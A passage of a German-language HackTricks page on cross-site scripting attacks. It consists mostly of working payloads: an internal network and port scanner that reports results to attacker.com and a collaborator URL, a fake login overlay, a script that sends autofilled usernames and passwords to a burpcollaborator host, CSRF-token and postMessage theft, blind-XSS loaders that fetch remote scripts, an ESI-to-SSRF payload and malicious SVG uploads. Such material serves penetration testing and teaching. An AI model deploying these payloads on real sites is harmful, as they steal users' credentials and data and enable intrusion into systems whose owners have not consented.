}('http://192.168.0.'+i+':8080'));
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}
function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>
Port Scanner (fetch)
Beschreibung
Der Port-Scanner (fetch) ist ein einfaches Tool, das mithilfe von JavaScript Ports auf einem Server scannen kann. Es nutzt die Fetch-API, um Anfragen an verschiedene Ports zu senden und auf die Antwort zu warten. Dieses Tool kann für das Auffinden offener Ports und potenzieller Sicherheitslücken auf einem Server verwendet werden.
Verwendung
- Öffnen Sie die Entwicklertools Ihres Browsers.
- Navigieren Sie zur Konsole.
- Fügen Sie den JavaScript-Code aus der Datei
port-scanner-fetch.js
in die Konsole ein. - Passen Sie die gewünschten Parameter an (z. B. den Zielserver und den Portbereich).
- Führen Sie den Code aus, um den Port-Scanner zu starten.
- Überprüfen Sie die Konsolenausgabe auf gefundene offene Ports.
Hinweis: Stellen Sie sicher, dass Sie die Erlaubnis haben, den Zielserver zu scannen, da das Scannen von Ports ohne Genehmigung illegal sein kann.
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (Websockets)
Portscanner (Websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Kurze Zeiten deuten auf einen antwortenden Port hin. Längere Zeiten deuten auf keine Antwort hin.
Überprüfen Sie die Liste der in Chrome verbotenen Ports hier und in Firefox hier.
Feld zur Eingabe von Anmeldeinformationen
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Erfassung von automatisch ausgefüllten Passwörtern
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Wenn Daten in das Passwortfeld eingegeben werden, werden der Benutzername und das Passwort an den Server des Angreifers gesendet, auch wenn der Client ein gespeichertes Passwort auswählt und nichts eingibt, werden die Anmeldeinformationen exfiltriert.
Keylogger
Nur durch die Suche auf Github habe ich ein paar verschiedene gefunden:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- Sie können auch Metasploit
http_javascript_keylogger
verwenden
CSRF-Token stehlen
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
PostMessage-Nachrichten stehlen
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
Ausnutzen von Service-Workern
{% content-ref url="abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}
Zugriff auf Shadow DOM
{% content-ref url="shadow-dom.md" %} shadow-dom.md {% endcontent-ref %}
Polyglots
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
Blind XSS-Payloads
Sie können auch verwenden: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Regex - Zugriff auf versteckte Inhalte
Aus diesem Bericht lässt sich lernen, dass auch wenn einige Werte aus JS verschwinden, sie immer noch in JS-Attributen in verschiedenen Objekten gefunden werden können. Zum Beispiel ist es immer noch möglich, den Wert eines REGEX-Eingabefelds zu finden, nachdem der Wert des Eingabefelds des REGEX entfernt wurde:
// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);
// Remove flag value, nobody will be able to get it, right?
flag=""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
Brute-Force-List
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
XSS Ausnutzen anderer Schwachstellen
XSS in Markdown
Kann Markdown-Code einschleusen, der gerendert wird? Vielleicht kannst du XSS erhalten! Überprüfe:
{% content-ref url="xss-in-markdown.md" %} xss-in-markdown.md {% endcontent-ref %}
XSS zu SSRF
Hast du XSS auf einer Website, die Caching verwendet? Versuche, dies auf SSRF zu aktualisieren durch Edge Side Include Injection mit diesem Payload:
<esi:include src="http://yoursite.com/capture" />
Verwenden Sie es, um Cookie-Beschränkungen, XSS-Filter und vieles mehr zu umgehen!
Weitere Informationen zu dieser Technik finden Sie hier: XSLT.
XSS in dynamisch erstellten PDF
Wenn eine Webseite ein PDF unter Verwendung von benutzerkontrollierten Eingaben erstellt, können Sie versuchen, den Bot zu täuschen, der das PDF erstellt, um beliebigen JS-Code auszuführen.
Wenn der PDF-Ersteller-Bot also HTML-Tags findet, wird er sie interpretieren, und Sie können dieses Verhalten missbrauchen, um einen Server-XSS zu verursachen.
{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}
Wenn Sie keine HTML-Tags einfügen können, könnte es sich lohnen, zu versuchen, PDF-Daten einzufügen:
{% content-ref url="pdf-injection.md" %} pdf-injection.md {% endcontent-ref %}
XSS in Amp4Email
AMP, das darauf abzielt, die Leistung von Webseiten auf mobilen Geräten zu beschleunigen, integriert HTML-Tags, die durch JavaScript ergänzt werden, um die Funktionalität mit Schwerpunkt auf Geschwindigkeit und Sicherheit zu gewährleisten. Es unterstützt eine Reihe von Komponenten für verschiedene Funktionen, die über AMP-Komponenten zugänglich sind.
Das AMP für E-Mails Format erweitert spezifische AMP-Komponenten für E-Mails, sodass Empfänger direkt in ihren E-Mails mit Inhalten interagieren können.
Beispiel Bericht über XSS in Amp4Email in Gmail.
XSS-Datei-Upload (svg)
Laden Sie als Bild eine Datei wie die folgende hoch (von http://ghostlulz.com/xss-svg/):
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Finde mehr SVG-Payloads unter https://github.com/allanlw/svg-cheatsheet
Verschiedene JS-Tricks & relevante Informationen
{% content-ref url="other-js-tricks.md" %} other-js-tricks.md {% endcontent-ref %}
XSS-Ressourcen
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
Wenn du an einer Karriere im Hacking interessiert bist und das Unhackbare hacken möchtest - wir stellen ein! (fließendes Polnisch in Wort und Schrift erforderlich).
{% embed url="https://www.stmcyber.com/careers" %}
Lerne AWS-Hacking von Null zum Profi mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn du deine Firma in HackTricks beworben sehen möchtest oder HackTricks als PDF herunterladen möchtest, sieh dir die ABONNEMENTPLÄNE an!
- Hol dir das offizielle PEASS & HackTricks-Merch
- Entdecke The PEASS Family, unsere Sammlung exklusiver NFTs
- Trete der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folge uns auf Twitter 🐦 @carlospolopm.
- Teile deine Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichst.